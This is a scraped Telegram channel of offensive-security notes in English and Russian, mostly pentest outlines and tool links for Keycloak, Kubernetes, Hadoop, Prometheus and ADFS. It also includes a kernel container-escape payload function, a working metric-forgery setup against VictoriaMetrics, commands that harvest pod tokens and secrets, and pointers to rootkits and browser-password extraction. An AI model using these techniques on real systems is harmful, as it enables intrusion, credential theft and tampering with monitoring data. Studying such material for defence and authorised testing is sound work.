offsec notes – Telegram
offsec notes
266 subscribers
16 photos
4 files
92 links
reading list
Download Telegram
Keycloak pentest

Articles
Part 1 - Link
* Am I Testing Keycloak?
* Keycloak Version Information
* OpenID Configuration /SAML Denoscriptor
* Realms (Enumeration && Self-Registration Enabled)
* Client IDs
* Scopes
* Grants
* Identity Providers
* Roles
* User Email Enumeration


Part2 - Link
Reconnaissance
* Additional Services and Ports
* Interesting Local Files
* Reconnaissance Conclusion

Exploitation
* Brute Force Login
* Bypassing/Automating CSRF
* JWT Signing Algorithms
* Make the most out of your scopes/roles
* offline_access
* uma_authorization
* profile
* email
* address
* phone


Tools
Keycloak security scanner - Link

* Начиная с keycloak 17.0+ роут /auth в URL должен быть пропущен (/realms/realm_name/)
5🤯2🐳2
HackBrowserData is a command-line tool for decrypting and exporting browser data
* passwords
* history
* cookies
* bookmarks
* download history
* localStorage
* extensions

It supports the most popular browsers on the market and runs on Windows, macOS and Linux

Link
3🐳2
Kubernetes security fundamentals

Introduction
* Complications of talking about Kubernetes security
* Managed and unmanaged Kubernetes distributions
* Areas of discussion


API Security
* Kubernetes components and ports
- Unmanaged Kubernetes
- Managed Kubernetes
* Securing Kubernetes APIs


Authentication
* Kubernetes authentication principles
- Internal Kubernetes authentication methods
- Static token authentication
- Bootstrap tokens
- X.509 client certificates
- Service account tokens
* External authentication methods
- OpenID Connect (OIDC)
- Webhook token authentication
- Authenticating proxy
- Impersonating proxy
* Authentication for other Kubernetes components
- Kubelet
- Controller manager and scheduler
- Kube-proxy
- Etcd


Authorization
* Kubernetes authorization principles
* Kubernetes authorization modules
- AlwaysAllow and AlwaysDeny
- Node Authorizer
- ABAC
- RBAC
- Webhook
* Authorization for other Kubernetes components
- Kubelet
- Scheduler and Controller Manager


Admission Control
* Admission control overview
- Internal admission controllers
- External admission controllers
* Risks of implementing external admission control
- Using admission control for pod security


Networking
* Network trust zones
* Introduction to CNI
* Managing network access in Kubernetes
* Securing the cluster network
* Conclusion
* Appendix - Setting up a demonstration environment
3🐳3🤯1
Hadoop pentest

Hadoop Attack Library - A collection of pentest tools and resources targeting Hadoop environments

This repository is composed of two kind of information and organised accordingly:
* Tools, Techniques and Procedures to attack an Hadoop environment

* Key vulnerabilities on Hadoop components (Hadoop Common, HDFS, YARN etc.)

* Key vulnerabilities in third-party components often used in Hadoop environments



Apache Hadoop Pentesting - Exploits notes with the following sections
* Authenticate using Keytab
* Impersonate Another Hadoop Service
* HDFS Command Cheat Sheet
* RCE
8🐳1
Nmap-did-what

Nmap-did-what is a Grafana docker container and a Python noscript to parse Nmap XML output to an SQLite database. The SQLite database is used as a datasource within Grafana to view the Nmap scan details in a dashboard.

The project consists of two main components:
* A Python noscript that parses Nmap XML output and stores the data in an SQLite database.

* A Grafana Docker container with a pre-configured dashboard for visualizing the Nmap scan data.


Link
4
Container escape using kernel exploitation & Seccomp bypass via manipulating the container’s namespaces

exploit from article
void get_root_payload( void) {

((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
);

// -------- NAMESPACE DOCKER EXPLOIT --------
// copy nsproxy from init_nsproxy to pid 1 of the container
unsigned long long g = ((_find_task_vpid)(FIND_TASK))(1);

// now, do the magic.... !!!! Simple black magic doesn't work on current process!!!!
((_switch_task_namespaces)(SWITCH_TASK_NS))(( void *)g, (void *)INIT_NSPROXY);

// prepare the two namespace FDs by opening the respective files
long fd = ((_do_sys_open)(DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
((_sys_setns)(SYS_SETNS))( fd, 0);

fd = ((_do_sys_open)(DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
((_sys_setns)(SYS_SETNS))( fd, 0);
}

The above code can be used in any future privilege escalation vulnerability found in the Linux kernel to escape a containerized environment.

Link
4🐳2
IngressNightmare

Уязвимость существует на этапе проверки Admission Controller'ом входящего объекта Ingress, из которого создается конфигурация Nginx и проверяется с помощью nginx -t, что ведет к
CVE-2025-24514 - auth-url Annotation Injection
CVE-2025-1097 - auth-tls-match-cn Annotation Injection
CVE-2025-1098 - mirror UID Injection
CVE-2025-1974 - NGINX Configuration Code Execution


Detect exposed Ingress NGINX Admission Controller - Nuclei Template

Create admission review requests from Ingress resource manifests, which could then be sent directly to the admission controller via HTTP - kube-review

PoC

Full WIZ research - IngressNightmare: 9.8 Critical Unauthenticated Remote Code Execution Vulnerabilities in Ingress NGINX
4🤯1🐳1
Gitlab CI/CD

Attacking GitLab CI/CD via Shared Runners

* A Standard Poisoned Pipeline

* Shared Docker-in-Docker Runners and Privileged Containers

* The Shared Instance-Level Runner

* Attacking Docker-in-Docker Shared Runners

* Remediation - Hardening the CI/CD Infra

* Shell Executors


Link
🐳31
eBPF

eBPF: A new frontier for malware
* What is eBPF?
* Lifetime of an eBPF program
* kprobes, uprobes, and tracepoints
* eXpress Data Path (XDP)
* Traffic Control (TC)
* Prevention
* Detection


Bad-bpf- A collection of eBPF programs demonstrating bad behavior, presented at DEF CON 29

ebpfkit - rootkit powered by eBPF

With Friends Like eBPF, Who Needs Enemies? - Black hat USA 2021 research
3🐳2
Заинтересовала тема с eBPF, поэтому в качестве эксперимента решил сделать вот такой проект https://github.com/cotsom/eBPF-rootkit/

* Бекдор через отправку парольной фразы в tcp пакете

* Сокрытие pid'а процесса (этот функционал взят из bad-bpf, но загрузчик переписан на Go)


По сокрытию pid есть хорошие статьи с разбором взятого примера

eBPF program creation in practice – PID concealment (Part 1)
eBPF in practice – PID concealment (Part 2)
8🐳4
Post-exploiting a compromised etcd – Full control over the kubernetes cluster and its nodes

* Persistence
* Resources hiding
* Bypassing AdmissionControllers
7🐳2
Curing

Curing is a POC of a rootkit that uses io_uring to perform different tasks without using any syscalls

* Read files
* Write files
* Create symbolic links
* C2 server communication


Linux io_uring problems - Link
3🐳2
GRPCUI

command-line tool that lets you interact with gRPC servers via a browser.
If the server has reflection enabled, grpcui will automatically detect the available methods

#If u have proto
grpcui -proto service.proto -plaintext grpc-address:50051

#If service have reflection
grpcui -plaintext grpc-address:50051


Usefull for
* Testing via burp
* Using sqlmap & the like
* Supports proxying via proxychains
3🐳3
Node Post-Exploitation

After escaping to the worker node, you will have access to all containers located on it.

The noscript can-they.sh will automatically get the tokens of other pods and check if they have the permission you are looking for (instead of you looking 1 by 1):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
🐳43
VictoriaMetrics

Если вы нашли кластер VictoriaMetrics, компоненты которого не закрыты за vmauth (сервис для аутха и проксирования к другим компонентам вики), то имеется возможность не только просматривать все собираемые метрики, но и подделывать их путем пуша своих

1) Поднимаем свой prometheus в конфигурации которого указываем
global:
scrape_interval: 10s

scrape_configs:
- job_name: 'redteam'
metrics_path: /metrics
static_configs:
- targets: ['redteam.ru:9100'] # target, который мы хотим подделать

remote_write:
- url: "http://host:8429/api/v1/write" # сервис, принимающий метрики, например vmagent

В контейнере с prometheus добавляем в /etc/hosts/ запись для redteam.ru, указывающую на наш веб с метриками

2) Поднимаем веб, который будет отдавать поддельные метрики
import http.server
import socketserver

PORT = 9100
METRICS = """
# HELP cpu_usage Test metric
# TYPE cpu_usage gauge
cpu_usage{job="redteam"} 0.64
""".encode('utf-8')

class MetricsHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == '/metrics':
self.send_response(200)
self.send_header("Content-type", "text/plain; version=0.0.4; charset=utf-8")
self.end_headers()
self.wfile.write(METRICS)
else:
self.send_response(404)
self.end_headers()

with socketserver.TCPServer(("", PORT), MetricsHandler) as httpd:
print("serving metrics at port", PORT)
httpd.serve_forever()


3) Каждые 10 секунд прометей будет ходить за метриками и отдавать их по пути указанному в remote_write

Таким образом можно указать как уже существующий job_name, так и существующий для него target и внедриться в информацию, которая отобразится в Grafana для определенного instance
3🐳2
🎰Web3 Security Resources Hub🪙

collection of curated tools, guides, and best practices for securing decentralized systems and smart contracts in the blockchain space

* Roadmaps & Learning Paths
* Smart Contract Programming Best Practices
* Audit Reports
* Security Checklists
* CTFs & Challenges
* Exploit Repositories

etc...
Please open Telegram to view this post
VIEW IN TELEGRAM
16
ADFS Post-Exploitation

How to access cloud systems outside domain - Introduction to the SAML attack against ADFS

Tools
* ADFSDump - Dump decryption private keys and other sorts of goodies from AD FS

* ADFSpoof - A python tool to forge AD FS security tokens
6🐳1
Prometheus pentest

Exposed administration interfaces

Prometheus provides an optional management API which can be enabled via the command line flags web.enable-admin-api and web.enable-lifecycle. These endpoints allow deletion of all saved metrics and shutting down of the monitoring server, respectively.

The endpoints are disabled by default, but in a non-secure deployment, an attacker can query the status of these settings from the API endpoint /api/v1/status/flags to check if they have been manually enabled:
{
"status": "success",
"data": {
"web.enable-admin-api": "true",
"web.enable-lifecycle": "false",
}
}


Targets disclosure

API endpoint /api/v1/targets exposes services belonging to the infrastructure, including their roles and labels. the endpoint also exposes metadata labels that are added by the target provider. These labels are intended to contain non-sensitive values, like the name of the server or its denoscription, but various cloud platforms may automatically expose sensitive data in these labels

e.g dangerous labels with possible sensitive information disclosure:
__meta_gce_metadata_ssh_keys
__meta_gce_metadata_startup_noscript
__meta_gce_metadata_kube_env
_meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration


Articles:
* Don’t let Prometheus Steal your Fire
* How attackers use exposed Prometheus server to exploit Kubernetes clusters
25🐳3